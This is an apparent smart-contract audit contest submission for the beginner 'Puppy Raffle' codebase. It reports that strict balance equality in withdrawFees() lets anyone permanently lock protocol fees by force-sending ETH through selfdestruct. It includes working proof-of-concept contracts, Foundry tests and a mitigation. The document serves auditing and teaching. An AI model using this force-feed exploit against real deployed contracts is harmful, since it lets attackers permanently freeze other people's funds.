Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

M-2: Strict balance equality in withdrawFees() enables permanent DoS via selfdestruct

Description

Severity: Medium

The withdrawFees() function at PuppyRaffle.sol:157-158 uses strict equality to check that no raffle is active:

function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

ETH can be force-sent to any contract via selfdestruct, bypassing receive() and fallback() functions. Once address(this).balance != uint256(totalFees), the strict equality check permanently fails and withdrawFees() becomes uncallable.

Proof of Concept

contract ForceEther {
constructor(address payable target) payable {
selfdestruct(target);
}
}
function testForceEtherBreaksWithdraw() public {
// Complete a raffle to accumulate fees
address[] memory entrants = new address[](4);
entrants[0] = playerOne;
entrants[1] = playerTwo;
entrants[2] = playerThree;
entrants[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(entrants);
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();
// Force-send 1 wei to break the balance check
new ForceEther{value: 1}(payable(address(puppyRaffle)));
// withdrawFees() now permanently reverts
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Cost to attacker: 1 wei + gas. All accumulated protocol fees are permanently locked.

Risk

  • Impact: Medium — all accumulated protocol fees are permanently locked. User prize funds can still be distributed via selectWinner(), but the protocol's revenue stream is destroyed.

  • Likelihood: High — costs only 1 wei plus gas. Any account can perform this attack.

Recommended Mitigation

Remove the strict balance check at PuppyRaffle.sol:158 and rely on internal accounting:

function withdrawFees() external {
uint256 feesToWithdraw = totalFees;
require(feesToWithdraw > 0, "PuppyRaffle: No fees to withdraw");
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!